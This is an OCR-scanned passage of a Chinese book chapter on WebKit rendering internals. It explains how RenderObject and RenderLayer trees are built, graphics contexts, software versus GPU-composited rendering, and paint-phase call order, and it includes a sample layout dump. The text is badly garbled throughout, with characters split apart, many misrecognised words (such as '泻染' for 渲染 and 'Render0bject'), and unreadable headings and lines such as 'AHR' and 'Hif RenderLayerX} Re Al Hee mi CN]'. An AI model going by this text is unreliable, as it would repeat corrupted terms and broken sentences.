后 设置 这 些 内 租 元 素 为 RenderBlock 对 象 的 子女 。 由 于 匿名 RenderObject 
对 象 它 没有 对 应 的 DOM 树 中 的 节点 ， 所 以 WebKit 统 一 使 用 Document 节 

















点 来 对 应 匿名 对 象 。 
还 有 很 多 RenderObject 类 的 子 类 并 没有 在 图 中 表示 出 来 ， 典 型 的 如 


RenderVideo 类 ， 它 继承 自 RenderImage 类 ， 笔 者 将 在 第 11 章 中 介绍 它 。 


7.1.2 RenderObject 树 


RenderObject 对 象 构 成 了 一 棵 树 。RenderObject 树 的 创建 过 程 主 要 是 
由 NodeRenderingContext 类 来 负责 ， 图 7-3 描 述 了 WebKit 如 何 创 建 
RenderObject 对 象 并 构建 RenderObject 树 的 。 
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图 7-3 Render0bject 对 象 和 Render0bject 树 的 创建 过 程 


基本 思路 是 ， 站 先 WebKit 检 查访 DOM 市 点 是 否 需 要 创建 
RenderObject 对 象 。 如 果 需 要 ，WebKit 建 立 或 者 获取 一 个 创建 
RenderObject 对 象 的 NodeRenderingContext 对 象 ，NodeRenderingContext 


对 象 会 分 析 需 要 创建 的 RenderObject 对 象 的 父亲 节点 、 兄 弟 节 点 等 ， 设 
置 这 些 信息 后 完成 插入 树 的 动作 。 

















那么 建立 后 的 RenderObject 树 和 DOM 树 之 间 的 对 应 关系 是 怎么 样 的 
We? 根据 示例 代码 7-1 中 网 页 的 源 代码 ，WebKit 中 的 DOM 树 表示 如 图 7-4 
左边 所 示 的 结构 (省 略 了 一 些 次 要 节点 ) ， 图 7-4 右 边 描述 的 就 是 
WebKit 中 对 应 的 RenderObject 树 。 
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图 7-4 DOM 树 节点 和 Render0bject 树 的 对 应 关系 


图 7-4 使 用 虚线 箭头 表示 两 种 树 的 节点 对 应 关系 ， 其 中 
HTITMLDocument 节 点 对 应 RenderView 节 点 ，RenderView 节 点 是 
RenderObject 树 的 根 节 点 。 另 外 ， 从 图 中 可 以 看 出 ，WebKit 没 有 为 
HTMLHeadElement 节 点 《〈 非 可 视 化 元 素 ) 没有 被 创建 RenderObject 子 类 
的 对 象 。 


7.2 网 页 层次 和 RenderLayer 树 


7.2.1 层次 和 RenderLayer 对 象 








第 2 章 介 绍 了 网 页 的 层次 结构 ， 也 就 是 说 网 页 是 可 以 分 层 的 ， 这 有 
两 点 原因 ， 一 是 为 了 方便 网 页 开发 者 开发 网 页 并 设置 网 页 的 层次 ， 二 是 
为 了 WebKit 处 理 上 的 便利 ， 也 就 是 说 为 了 简化 泻 染 的 逻辑 。 

















WebKit 会 为 网 页 的 层次 创建 相应 的 RenderLayer 对 象 。 当 某 些 类 型 
RenderObject 的 节点 或 者 具有 某 些 CSS 样 式 的 RenderObject 节 点 出 现 的 时 
候 ，WebKit 就 会 为 这 些 节 点 创建 RenderLayer 对 象 。 一 般 来 说 ， 某 个 
RenderObject 节 点 的 后 代 都 属于 该 节点 ， 除 非 webKit 根 据 规则 为 某 个 后 
代 RenderObject 节 点 创建 了 一 个 新 的 RenderLayer 对 象 。 





RenderLayer 树 是 基于 RenderObject 树 建立 起 来 的 一 棵 新 树 。 根 据 上 
面 所 述 笔 者 可 以 得 出 这 样 的 结论 : RenderLayer 节 点 和 RenderObject 节 点 
不 是 一 一 对 应 关系 ， 而 是 一 对 多 的 关系 。 那 么 哪些 情况 下 的 
RenderObject 节 点 需要 建立 新 的 RenderLayer 节 点 呢 ? 以 下 是 基本 规则 。 


e DOM 树 的 Document 节 点 对 应 的 RenderView 节 点 。 

。 DOM 树 中 的 Document 的 子女 节点 ， 也 就 是 HTML 市 点 对 应 的 
RenderBlock “fi Fi 

显 式 的 指定 CSS 位 置 的 RenderObject 节 点 。 

有 透明 效果 的 RenderObject 节 点 。 

e 六 点 有 洲 出 《Overflow) 、alpha 或 者 反射 等 效果 的 RenderObject 节 


e 使 用 Canvas 2D 和 3D (WebGL) 技 术 的 RenderObject 节 点 。 
e Video 贡 点 对 应 的 RenderObject 节 点 。 


除了 根 节 点 也 就 是 RenderLayer 节 点 ， 一 个 RenderLayer 节 点 的 父亲 
就 是 该 RenderLayer 节 点 对 应 的 RenderObject 节 点 的 祖先 链 中 最 近 的 祖 
先 ， 并 且 祖 先 所 在 的 RenderLayer 节 点 同 该 节点 的 RenderLayer 节 点 不 
同 。 基 于 这 一 原理 ， 这 些 RenderLayer 节 点 也 构成 了 一 棵 RenderLayer 
树 。 








每 个 RenderLayer 节 点 包含 的 RenderObject 节 点 其 实 是 一 棵 
RenderObject 子 树 。 理 想 情 况 下 ， 每 个 RenderLayer 对 象 都 会 有 一 个 后 端 
类 ， 该 后 端 类 用 来 存储 该 RenderLayer 对 象 绘制 的 结果 。 实 际 情况 中 则 
比较 复杂 ， 在 不 同 的 泻 染 模式 下 ， 不 同 WebKit 的 移植 中 ， 情 况 都 不 一 
样 ， 这 些 在 后 面 介绍 。RenderLayer 节 点 的 使 用 可 以 有 效 地 减 小 网 页 结 
构 的 复杂 程度 ， 并 在 很 多 情况 下 能 够 减少 重新 演 染 的 开销 。 














在 WebKit 创 建 RenderObject 树 之 后 ，WebKit 也 会 创建 RenderLayer 
树 。 当 然 某 些 RenderLayer 节 点 也 有 可 能 在 执行 JavaScript 代 码 时 或 者 更 
新 页 面 的 样式 被 创建 。 同 RenderObject 类 不 同 的 是 ，RenderLayer 类 没有 
子 类 ， 它 表示 的 是 网 页 的 一 个 层次 ， 并 没有 “ 子 层 次 ”的 说 法 。 








7.2.2 ”构建 RenderLayer 树 


RenderLayer 树 的 构建 过 程 其 实 非常 简单 ， 甚 至 比 构建 RenderObject 
树 还 要 简单 。 根 据 前 面 所 述 的 条 件 来 判断 一 个 RenderObject 闻 点 是 否 需 
要 建立 一 个 新 的 RenderLayer 对 象 ， 并 设置 RenderLayer 对 象 的 父亲 和 兄 


第 关系 即 可 ， 这 里 不 再 介绍 。 


为 了 直观 地 理解 RenderLayer 树 ， 根 据 示例 代码 7-1 中 的 源 代码 ， 
WebKit 中 的 RenderObject 树 表示 如 图 7-5 左 边 所 示 的 结构 (省 略 了 一 些 节 
点 ) ， 图 7-5 的 右边 描述 的 就 是 webKit 所 生成 的 对 应 RenderLayer 树 。 根 
据 RenderLayer 对 象 创 建 的 条 件 来 看 ， 该 示例 代码 的 RenderLayer 树 应 该 
包含 三 个 RenderLayer 节 点 一 一 根 节 点 和 它 的 子女 ， 以 及 时节 点 。 
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图 7-5 ~RenderOb ject 树 和 RenderLayer 树 的 关系 





在 上 一 章 ， 笔 者 介绍 了 布局 计算 ， 本 章 紧 接着 又 介绍 了 
RenderObject 树 和 RenderLayer 树 ， 通 过 一 些 示 意图 ， 相 信 读 者 应 该 理解 
这 些 概念 的 含义 。 下 面 来 看 一 下 示例 代码 7-1 在 WebKit 中 的 实际 内 部 表 
示 和 布局 信息 ， 图 7-6 是 WebKit 内 部 表示 的 具体 结构 RenderObject 树 、 
RenderLayer 树 和 布局 信息 中 的 大 小 和 位 置信 息 。 下 面 根据 RenderLayer 
树 的 节点 来 分 析 它 们 。 














首先 ， 图 7-6 中 的 “layer at (x, zx)” 表 示 的 是 不 同 的 RenderLayer 节 点 ， 





下 面 所 有 RenderObject 子 类 的 对 象 均 属于 该 RenderLayer 对 象 。 以 第 一 个 
RenderLayer 节 点 为 例 ， 它 对 应 于 DOM 树 中 的 Document 节 点 。 后 面 

的 “(0, 0)” 表 示 该 节点 在 网 页 坐标 系 中 的 位 置 ， 最 后 的 “1028x683” 信 息 表 
示 该 节点 的 大 小 ， 第 一 层 包 含 的 RenderView 节 点 后 面 的 信息 也 是 同样 的 


Ee an 
SA E o 


layer at (0,0) size 1028x683 
RenderView at (0,0) size 1028x683 
layer at (0,0) size 1028x683 
RenderBlock {HTML} at (0,0) size 1028x683 
RenderBody {BODY} at (8,8) size 1012x667 
RenderBlock {DIV} at (0,0) size 1012x20 
RenderText {#text} at (0,0) size 22x19 
text run at (0,0) width 22: "abc" 
RenderBlock (anonymous) at (@,20) size 1012x88 
RenderText {#text} at (80,65) size 4x19 
text run at (80,65) width 4: " 
RenderInline {A} at (0,0) size 0x0 [color=#0QQQEE] 
RenderText {#text} at (0,0) size 0x0 
RenderImage {IMG} at (84,80) size 0x0 
RenderText {#text} at (84,65) size 4x19 
text run at (84,65) width 4: " " 
RenderButton {INPUT} at (90,64) size 16x22 [bgcolor=#DDDDDD] [border: (2px outset #DDDDDD) ] 
RenderText {#text} at (108,65) size 4x19 
text run at (108,65) width 4: " " 
RenderMenuList {SELECT} at (114,65) size 25x20 [bgcolor=#DDDDDD] [border: (1px solid #000000) ] 
RenderBlock (anonymous) at (1,1) size 23x18 
RenderBR at (4,1) size 0x16 [bgcolor=#DDDDDD] 
RenderText {#text} at (0,0) size Oxd 
RenderTable {TABLE} at (0,108) size 100x50 
RenderTableSection {TBODY} at (0,0) size 100x50 
RenderTableRow {TR} at (0,2) size 100x46 
RenderTableCell {TD} at (2,14) size 96x22 [r= c=@ rs=1 cs=1] 
RenderText {#text} at (1,1) size 16x19 
text run at (1,1) width 16: "do" 
layer at (8,28) size 80x80 





图 7-6 示例 代码 7-1 的 布局 信息 、Render0bject 树 和 RenderLayer 树 


其 次 ， 读 者 仔细 得 看 其 中 最 大 的 部 分 ， 也 惑 是 第 二 个 layer， 其 包含 
了 HTML 中 的 绝 大 部 分 元 素 。 这 里 有 三 点 需要 解释 一 下 : 第 
一 ，“head” 元 素 没有 相应 的 RenderObject 对 象 ， 如 上 面 所 解释 的 ， 
为 “head” 不 是 一 个 可 视 的 元 素 ; 第 二 ，“canvas” 元 素 并 在 第 二 个 layer 
中 ， 而 是 在 第 三 个 layer (RenderHTMLCanvas) 中 ， 虽 然 该 元 素 仍 然 是 
RenderBody 市 点 的 子女 ; 第 三 ， 该 layer 层 中 包含 一 个 匿名 
(Anonymous) 的 RenderBlock 节 点 ， 该 匿名 节点 包含 了 RenderText 和 

















RenderInline 等 子 节 点 ， 原 因 之 前 已 经 介绍 过 。 








再 次 ， 来 看 一 下 第 三 个 layer 层 ， 也 就 是 最 下 面 的 层 。 因 为 JavaScript 
代码 为 “canvas” 元 素 创 建 了 一 个 WebGL 的 3D 绘 图 上 下 文 对 象 ，WebKit 
需要 重新 生成 一 个 新 的 RenderLayer 对 象 。 





最 后 ， 来 说 明 一 下 三 个 层次 的 创建 时 间 。 在 创建 DOM 树 之 后 ， 
WebKit 会 接着 创建 第 一 个 和 第 二 个 layer 层 。 但 是 ， 第 三 个 RenderLayer 
对 象 是 在 WebKit 执 行 JavaScript 代 码 时 才 被 创建 的 ， 这 是 因为 WebKit 需 
要 检查 出 JavaScript 代 人 码 是 否 为 “canvas” 确 实 创建 了 3D 绘 图 上 下 文 ， 而 不 
是 在 过 到 “canvas” 元 素 时 创建 新 的 RenderLayer 对 象 。 





基于 上 面 的 描述 ， 相 信 大 家 已 经 对 布局 计算 结果 、RenderObject 树 
和 RenderLayer 树 有 了 更 进一步 的 了 解 。 


7.3” 演 染 方式 


7.3.1 绘图 上 下 文 
(GraphicsContext) 


上 面 介 绍 了 WebKit 的 内 部 表示 结构 ，RenderObject 对 象 知道 如 何 绘 
制 自己 但是， 问题 是 RenderObject 对 象 用 什么 来 绘制 内 容 呢 ?在 
WebKit 中 ， 绘 图 操作 被 定义 了 一 个 抽象 屋 ， 这 就 是 绘图 上 下 文 ， 所 有 绘 
图 的 操作 都 是 在 该 上 下 文中 来 进行 的 。 绘 图 上 下 文 可 以 分 成 两 种 类 型 ， 
第 一 种 是 用 来 绘制 2D 图 形 的 上 下 文 ， 称 之 为 2D 绘 图 上 下 文 
(GraphicsContext) ; 第 二 种 是 绘制 3D 图 形 的 上 下 文 ， 称 之 为 3D 绘 图 
上 下 文 (GraphicsContext3D)〉。 这 两 种 上 下 文 都 是 抽象 其 类 ， 也 就 是 说 
它们 只 提供 接口 ， 因 为 WebKit 需 要 文 持 不 同 的 移植 。 而 这 两 个 抽象 基 类 
的 具体 绘制 则 由 不 同 的 移植 提供 不 同 的 实现 ， 每 个 移植 使 用 的 实际 绘图 
类 非常 不 一 样 ， 依 赖 的 图 形 率 也 不 一 样 ， 图 7-7 描 述 了 抽象 类 和 WebKit 
的 移植 实现 类 的 关系 。 
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图 7-7 绘图 上 下 文 类 和 移植 相关 的 绘图 上 下 文 类 


PlatfromGraphicsContext 类 和 PlatformGraphicsContext3D 类 是 两 个 表 
示 上 下 文 的 类 ， 其 实 它们 的 类 定义 取决 于 各 个 移植 。 在 WebKit 的 Safari 
移植 中 ， 这 两 个 类 其 实 是 CGContext 和 CGLContextObj; 而 在 Chromium 
移植 中 ， 它 们 则 是 PlatformContextSkia 和 GrContext。 同 之 前 描述 的 基 类 
和 子 类 的 关系 不 一 样 ， 这 些 不 是 父子 类 关系 ， 而 是 WebKit 直 接 通 过 C 语 
言 的 typedef 来 将 每 个 不 同 移植 的 类 重合 名 成 PlatfromGraphicsContext 和 
PlatformGraphicsContext3D. 





2D 绘 图 上 下 文 的 具体 作用 就 是 提供 基本 绘图 单元 的 绘制 接口 以 及 
设置 绘图 的 样式 。 绘 图 接口 包括 画 点 、 男 线 、 男 图 片 、 男 多 边 形 、 画 文 
字 等 ， 绘 图 样式 包括 颜色 、 线 宽 、 字 号 大 小 、 渐 变 等 。RenderObject 对 
象 知道 自己 需要 男 什 么 样 的 点 ， 什 么 样 的 网 请， 所 以 RenderObject 对 象 
调用 绘图 上 下 文 的 这 些 基本 操作 就 是 绘制 实际 的 显示 结果 ， 图 7-8 描 述 
了 RenderObject 类 和 GraphicsContext 类 的 关系 。 





RenderObject 
+drawLineForBoxSide() +setFillColor() 
+addPDFURLRect() +setFillPattem() 





图 7-8 描述 了 Render0bject 和 绘图 上 下 文 之 间 的 关系 。 


关于 3D 绘 图 上 下 文 的 介绍 ， 我 们 将 在 第 8 章 中 介绍 ， 它 的 主要 用 处 
是 支持 CSS3D、WebGL 等 。 





在 现 有 的 网 页 中 ， 由 于 HTML5 标 准 引 入 了 很 多 新 的 技术 ， 所 以 同 
一 网 页 中 可 能 会 既 需 要 使 用 2D 绘 图 上 下 文 ， 也 需要 使 用 3D 绘 图 上 下 
文 。 对 于 2D 绘 图 上 下 文 来 说 ， 其 平台 相关 的 实现 既 可 以 使 用 CPU 来 完成 


2D 相 关 的 操作 ， 也 可 以 使 用 3D 图 形 接口 〈 如 OpenGL ) 来 完成 2D 相 关 的 
操作 。 而 对 于 3D 绘 图 上 下 文 来 说 ， 因 为 性 能 的 问题 ，WebKit 的 移 值 通 
常 都 是 使 用 3D 图 形 接口 (如 OpenGL 或 者 Direct3D 等 技术 ) 来 实现 。 


7.3.2 AHR 





在 完成 构建 DOM 树 之 后 ，WebKit 所 要 做 的 事情 就 是 构建 泻 染 的 内 
部 表示 并 使 用 图 形 库 将 这 些 模 型 绘制 出 来 。 提 到 网 页 的 泻 染 方式 ， 目 前 
主要 有 两 种 方式 ， 第 一 种 是 软件 泻 染 ， 第 二 种 是 人 硬件 加 速 演 染 。 其 实 这 
种 描述 并 不 精确 ， 因 为 还 有 一 种 混合 模式 。 要 理解 这 一 概念 ， 笔 者 还 得 
接着 本 章 介 绍 的 RenderLayer 树 来 继续 深入 挖掘 。 





每 个 RenderLayer 对 象 可 以 被 想象 成 图 像 中 的 一 个 层 ， 各 个 层 一 同 
构成 了 一 个 图 像 。 在 泻 染 的 过 程 中 ， 浏 览 器 也 可 以 作 同 样 的 理解 。 每 个 
层 对 应 网 页 中 的 一 个 或 者 一 些 可 视 元 素 ， 这 些 元 素 都 绘制 内 容 到 该 层 
上 上， 在 本 书 中 ， 一 律 把 这 一 过 程 称 为 绘图 操作 。 如 果 绘 图 操作 使 用 CPU 
来 完成 ， 那 么 称 之 为 软件 绘图 。 如 果 绘 图 操作 由 GPU 来 完成 ， 称 之 为 
GPU 硬 件 加 速 绘 图 。 理 想 情 况 下 ， 每 个 层 都 有 个 绘制 的 存储 区 域 ， 这 个 
存储 区 域 用 来 保存 绘图 的 结果 。 最 后 ， 需 要 将 这 些 层 的 内 容 合 并 到 同一 
个 图 像 之 中 ， 本 书 中 称 之 为 合成 (Compositing) ， 使 用 了 合成 技术 的 演 
染 称 之 为 合成 化 演 染 。 





所 以 在 RenderObject 树 和 RenderLayer 树 之 后 ，WebKit 的 机 制 操作 将 
内 部 模型 转换 成 可 视 的 结果 分 为 两 个 阶段 : 每 层 的 内 容 进行 绘图 工作 及 
之 后 将 这 些 绘图 的 结果 合成 为 一 个 图 像 。 对 于 软件 泻 染 机 制 ，WebKit 需 
要 使 用 CPU 来 绘制 每 层 的 内 容 ， 按 照 上 面 的 介绍 ， 读 者 可 能 觉得 需要 合 
成 这 些 层 ， 其 实 软件 泻 染 机 制 是 没有 合成 阶段 的 ， 为 什么 ? 原因 很 简 





单 ， 没 有 必要 。 在 软件 演 染 中 ， 通 常 泻 染 的 结果 就 是 一 个 位 图 
(Bitmap) ， 绘 制 每 一 层 的 时 候 痢 使 用 该 位 图 ， 区 别 在 于 绘制 的 位 置 可 
能 不 一 样 ， 当 然 每 一 层 都 按照 从 后 到 前 的 顺序 。 当 然 ， 你 也 可 以 为 每 层 
分 配 一 个 位 图 ， 问 题 是 ， 一 个 位 图 束 已 经 能 够 解决 所 有 问题 。 图 7-9 是 
网 页 的 三 种 渔 染 方式 。 











CPU 内 存 GPU 内 存 GPU 内 存 
软件 泻 染 使 用 软件 绘图 的 合成 化 演 染 硬件 加 速 的 合成 化 渲染 
图 7-9 ”网 页 的 三 种 渔 染 方式 


从 上 疼 可 以 看 到 ， 软 件 演 染 中 网 页 使 用 的 一 个 位 图 ， 实 际 上 了 束 是 一 
块 CPU 使 用 的 内 存 空间 。 图 7-9 中 的 第 二 种 和 第 三 种 方式 ， 都 是 使 用 了 
合成 化 的 泻 染 技术 ， 也 就 是 使 用 GPU 硬 件 来 加 速 合 成 这 些 网 页 层 ， 合 成 
的 工作 都 是 由 GPU 来 做 ， 这 里 称 为 硬件 加 速 合成 〈Accelerated 
Compositing) 。 但 是 ， 对 于 每 个 层 ， 这 两 种 方式 有 不 同 的 选择 。 其 中 某 
些 层 ， 第 二 种 方式 使 用 CPU 来 绘图 ， 另 外 一 些 层 使 用 GPU 来 绘图 。 对 于 
使 用 CPU 来 绘图 的 层 ， 该 层 的 结果 首先 当然 保存 在 CPU 内 存 中 ， 之 后 被 
传输 到 GPU 的 内 存 中 ， 这 主要 是 为 了 后 面 的 合成 工作 。 第 三 种 泻 染 方式 
使 用 GPU 来 绘制 所 有 合成 层 。 第 二 种 方式 和 第 三 种 方式 其 实 都 属于 硬件 
加 速 泻 染 方式 。 前 面 的 这 些 摘 述 ， 是 把 RenderLayer 对 象 和 实际 的 存储 
空间 对 应 ， 现 实 中 不 是 这 样 的 ， 这 只 是 理想 的 情况 。 岂 


























到 这 里 ， 读 者 可 能 感到 奇怪 为 什么 会 有 三 种 渔 染 方式 ， 这 是 因为 三 





种 方式 各 有 各 的 优 缺 点 和 适用 场景 ， 在 介绍 它们 的 特点 之 前 ， 先 了 解 一 
些 演 染 方面 的 基本 知识 。 


首 乞 ， 对 于 币 见 的 2D 绘 图 操作 ， 使 用 GPU 来 绘图 不 一 定 比 使 用 CPU 


绘图 在 性 能 上 有 优势 ， 例 如 绘制 文字 、 点 、 线 等 ， 原 因 是 CPU 的 使 用 绥 





存 机 制 有 效 减少 了 重复 绘制 的 开销 而 且 不 需要 GPU 并 行 性 。 其 次 ，GPU 
的 内 存 资源 相对 CPU 的 内 存 资源 来 说 比较 紧张 ， 而 且 网 页 的 分 层 使 得 
GPU 的 内 存 使 用 相对 比较 多 。 鉴 于 此 ， 就 目前 的 情况 来 看 ， 三 者 都 存在 
是 有 其 合理 性 的 ， 下 面 分 析 一 下 它们 的 特点 。 











软件 泻 染 是 目前 很 常见 的 技术 ， 也 是 浏览 器 最 早 使 用 的 泻 染 方 式 这 
一 技术 比较 节省 内 存 ， 特 别 是 更 宝贵 的 GPU 内 存 ， 但 是 软件 泻 染 只 
能 处 理 2D 方 面 的 操作 。 简 单 的 网 页 没有 复杂 绘图 或 者 多 媒体 方面 

的 需求 ， 软 件 演 染 方式 束 比 较 合适 来 演 染 该 类 型 的 网 页 。 问 题 是 ， 
一 旦 遇 上 了 HTML5 的 很 多 新 技术 ， 软 件 泻 染 显然 无 能 为 力 ， 一 是 
因为 能 力 不 足 ， 典 型 的 例子 是 CSS3D、WebGL 等 ， 二 是 因为 性 能 

不 好 ， 例 如 视频 、Canvas 2D 等 。 所 以 ， 软 件 泻 染 技术 被 使 用 得 越 
来 越 少 ， 特 别 是 在 移动 领域 。 软 件 演 染 同 硬件 加 速 演 染 男 外 一 个 很 
不 同 的 地 方 就 是 对 更 新 区 域 的 处 理 。 当 网 页 中 有 一 个 更 新 小 型 区 域 
的 请 求 〈 如 动画 ) 时 ， 软 件 演 染 可 能 只 需要 计算 一 个 极 小 的 区 域 ， 
而 人 硬件 泻 染 可 能 需要 重新 绘制 其 中 的 一 层 或 者 多 层 ， 然 后 再 合成 这 
些 层 。 硬 件 泻 染 的 代价 可 能 会 大 得 多 。 

对 于 人 硬件 加 速 的 合成 化 演 染 方式 来 说 ， 每 个 层 的 绘制 和 所 有 层 的 合 
成 均 使 用 GPU 硬件 来 完成 ， 这 对 需要 使 用 3D 绘 图 的 操作 来 说 特别 

适合 。 这 种 方式 下 ， 在 RenderLayer 树 之 后 ，WebKit 和 和 Chromium 还 
需要 建立 更 多 的 内 部 表示 ， 例 如 GraphicsLayer 树 、 合 成 器 中 的 层 


























《如 Chromium 的 CCLayer) 等 ， 目 的 是 支持 硬件 加 速 机 制 ， 这 显然 
会 消耗 更 多 的 内 存 资源 。 但 是 ， 一 方面 ， 硬 件 加 速 机 制 能 够 文 持 现 
在 所 有 的 HIML5 定 义 的 2D 或 者 3D 绘 图 标准 ; 另 一 方面 ， 关 于 更 新 
区 域 的 讨论 ， 如 果 需 要 更 新 某 个 层 的 一 个 区 域 ， 因 为 软件 泻 染 没有 
为 每 一 层 提 供 后 端 存 储 ， 因 而 它 需 要 将 和 这 个 区 域 有 重 闭 部 分 的 所 
有 层次 的 相关 区 域 依次 从 后 向 前 重新 绘制 一 遍 ， 而 硬件 加 速 演 染 只 
需要 重新 绘制 更 新 发 生 的 层次 。 因 而 在 某 些 情况 下 ， 软 件 泻 染 的 代 
价 更 大 。 当 然 ， 这 取决 于 网 页 的 结构 和 泻 染 策略 ， 这 些 都 是 需要 重 
点 关注 和 讨论 的 。 

软件 绘图 的 合成 化 演 染 方式 结合 了 前 面 两 种 方式 的 优点 ， 这 是 因为 
很 多 网 页 可 能 既 包 含 基本 的 HTML 元 素 ， 也 包含 一 些 HTML5 新 功 

能 ， 使 用 CPU 绘图 方式 来 绘制 某 些 层 ， 使 用 GPU 来 绘制 其 他 一 些 

层 。 原 因 当 然 是 前 面 所 述 的 基于 性 能 和 内 存 方面 综合 考虑 的 结果 。 





7.4 WebKit 软 件 演 染 技术 
7.4.1 HIPER E 


在 很 多 情况 下 ， 也 就 是 没有 那些 需要 人 硬件 加 速 内 容 的 时 候 (包括 但 
不 限于 CSS3 3D 变 形 、CSS3 03D 变 换 、WebGL 和 视频 ) ，WebKit 可 以 
使 用 软件 泻 染 技 术 来 完成 页 面 的 绘制 工作 除非 读者 强行 打开 硬件 加 速 
机 制 ) ， 目 前 用 户 浏 览 的 很 多 门户 网 站 、 论 坛 网 站 、 社 交 网 站 等 所 设计 
的 网 页 ， 都 是 采用 这 项 技术 来 完成 页 面 的 泻 染 。 A 





要 分 析 软 件 演 染 过 程 ， 需 要 关注 两 个 方面 ， 其 一 是 RenderLayer 
树 ， 其 二 是 每 个 RenderLayer 所 包含 的 RenderObject 子 树 。 首 先 来 看 
WebKit 如 何 遍 历 RenderLayer 树 来 绘制 各 个 层 。 


对 于 每 个 RenderObject 对 象 ， 需 要 三 个 阶段 绘制 自己 ， 第 一 阶段 是 
绘制 该 层 中 所 有 块 的 背景 和 边框 ， 第 二 阶段 是 绘制 浮动 内 容 ， 第 三 阶段 
是 前 景 (Foreground) ， 也 就 是 内 容 部 分 、 轮 廓 〈 它 是 CSS 标 准 属 性 ， 
绘制 于 元 素 周围 的 一 条 线 ， 位 于 边框 边缘 的 外 围 ) 等 部 分 。 当 然 ， 每 个 
阶段 还 可 能 会 有 一 些 子 阶 段 。 值 得 指出 的 是 ， 内 髓 元 素 的 背景 、 边 框 、 
前 景 等 都 是 在 第 三 阶段 中 被 绘制 的 ， 这 是 不 同 之 处 。 


图 7-10 描 述 了 一 个 RenderLayer 层 是 如 何 绘 制 自己 和 子女 的 ， 这 一 过 
时 是 一 个 递归 过 程 。 图 中 的 函数 名 未 来 可 能 会 发 生变 化 ， 所 以 读者 更 多 
关注 它们 的 含义 。 图 中 的 调用 顺序 可 以 作 如 下 理解 : 这 里 主要 节选 了 一 
些 重要 步骤 ， 事 实 上 这 一 绘制 过 程 还 可 能 包含 其 他 一 些 相 对 较 小 的 步 





又 。 图 中 有 些 步 又 的 操作 并 不 是 总 是 发 生 。 这 里 是 一 个 大 致 的 过 程 ， 下 
面 是 详细 分 析 。 


paint() 


paintLayer() 











paintLayerContents() 
paintBackgroundForFragments() 


paintList (子女 有 overflow 属性 ) 


paintList (z 坐标 为 正 数 的 子女 层 ) 





paintMaskForFragments() 





图 7-10 绘制 RenderLayer 和 它 的 子女 的 调用 过 程 


1. 对 于 当前 的 RenderLayer 对 象 而 言 ，WebKit 首 先 绘制 反射 层 
(Reflectionlayer) ， 这 是 由 CSS 定 义 的 。 
2. 然后 WebKit 开 始 绘制 RenderLayer 对 象 对 应 的 RenderObject 节 点 的 背 
景 层 (PaintBackground-ForFragments) ， 也 融 是 调 
用 “PaintPhaseBlockBackground” 函 数 ， 读 者 记 住 这 里 仅 是 绘制 该 对 


象 的 背景 层 ， 而 不 包括 RenderObject 的 子女 。 其 中 “Fragments” 的 含 

义 是 可 能 绘制 的 几 个 区 域 ， 因 为 网 页 需要 更 新 的 区 域 可 能 不 是 连续 

的 ， 而 是 多 个 小 块 ， 所 以 WebKit 绘 制 的 时 候 需 要 更 新 这 些 非 连续 的 

区 域 即 可 ， 下 面 也 是 一 样 的 道理 。 

. 图 中 的 “paintList”《〈z 坐 标 为 负数 的 子女 层 ) 阶段 负 贡 绘制 很 多 Z 华 

标 为 负数 的 子女 层 。 这 是 一 个 递归 过 程 。Z 坐 标 为 负数 的 层 在 当前 

RenderLayer 对 象 层 的 后 面 ， 所 以 WebKit 先 绘制 后 面 的 层 ， 然 后 当 

Hif RenderLayerX} Re Al Hee mi CN] o 

.图 中 “PaintForegroundForFragments()” 这 个 步 又 比较 复杂 ， 包 括 以 下 

四 个 子 阶段 : 首先 进入 “PaintPhaseChildBlockBackground>” 阶 段 ， 

WebKit 绘 制 RenderLayer 节 点 对 应 的 RenderObject 节 点 的 所 有 后 代 节 

点 的 背景 ， 如 果 某 个 被 选中 的 话 ，WebKit 改 为 绘制 选中 区 域 背 景 
《网 页 内 容 选中 的 时 候 可 能 是 另外 的 颜色 ) ; 其 次 ， 进 

入 “PaintPhaseFloat” 绘 制 阶段 ，WebKit 绘 制 浮 动 的 元 素 ; 再 次 ， 进 

入 “PaintPhaseForeground” 阶 段 ，WebKit 绘 制 RenderObject 节 点 的 内 

容 和 后 代 节 点 的 内 容 《〈 如 文字 等 ) ; 最 后 ， 进 

入 “PaintPhaseChildOutlines” 绘 制 阶段 ，WwebKit 的 目的 是 绘制 所 有 后 

代 节 点 的 轮廓 。 

. 进入 “PaintOutlineForFragments” 步 又 。WebKit 在 该 步骤 中 绘制 

RenderLayer 对 象 对 应 的 RenderObject 市 点 的 轮 亡 
(PaintPhaseOutline) 。 

. 进入 绘制 RenderLayer 对 象 的 子女 步骤 。WebKit 首 先 绘制 溢出 
(Overflow) 的 RenderLayer 节 点 ， 之 后 依次 绘制 2 坐标 为 正 数 的 

RenderLayer 节 点 。 

. 进入 该 RenderObject 节 点 的 滤 镜 步骤 。 这 是 CSS 标 准 定义 在 元 素 之 

上 的 最 后 一 步 。 
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件 绘图 这 一 过 程 ， 那 么 对 于 RenderLayer 树 包含 的 每 个 RenderObject 而 
言 ， 它 们 是 如 何 被 处 理 的 呢 ? 


因为 RenderObject 类 有 很 多 子 类 ， 每 个 子 类 都 不 一 样 ， 不 过 很 多 子 
类 的 绘制 其 实 比 较 简 单 ， 所 以 ， 为 了 能 比较 清楚 地 说 明 RenderObject 绘 
制 的 过 程 ， 这 里 以 典型 的 RenderBlock 类 为 例 来 说 明 ， 因 为 它 是 以 框 模 
型 为 基础 的 类 ， 图 7-11 给 出 了 绘制 RenderBlock 类 的 过 程 。 


paint() 





paintObject() 


paintBoxDecorations() PaintPhaseBlockBackground 阶段 


; |: PaintPhaseBlockBackground 或 者 
paintContents() K 
PaintPhaseSelfOutline 阶段 


paintChildren() 


j 








paintChild () 


| 


paintSelection() 


f PaintPhascFloat 或 者 PaintPhaseSelection 等 阶段 
paintFloats () 


paintOutline Q PaintPhaseOutline 或 者 PaintPhaseSelfOutline 等 


阶段 





paintCaret () 


ji 


PaintPhaseForeground 阶段 


图 7-11 RenderBlock 类 的 绘制 过 程 


图 7-11 中 ，“paint*” 是 RenderObject 基 类 的 绘图 函数 ， 用 来 绘制 该 对 
象 的 入 口 函 数 ， 在 RenderBlock 类 中 ， 它 被 重新 实现 了 。 一 个 
RenderObject 类 的 “paint” 函 数 在 绘制 时 可 能 会 被 多 次 调用 ， 因 为 不 同 的 
绘制 阶段 (图 7-10 提 到 的 都 需要 调用 它 来 绘制 不 同 的 部 分 ， 所 以 读者 
会 发 现 图 7-11 右 侧 标记 了 在 哪些 阶段 才 会 调用 该 绘制 函数 (或 者 是 哪些 








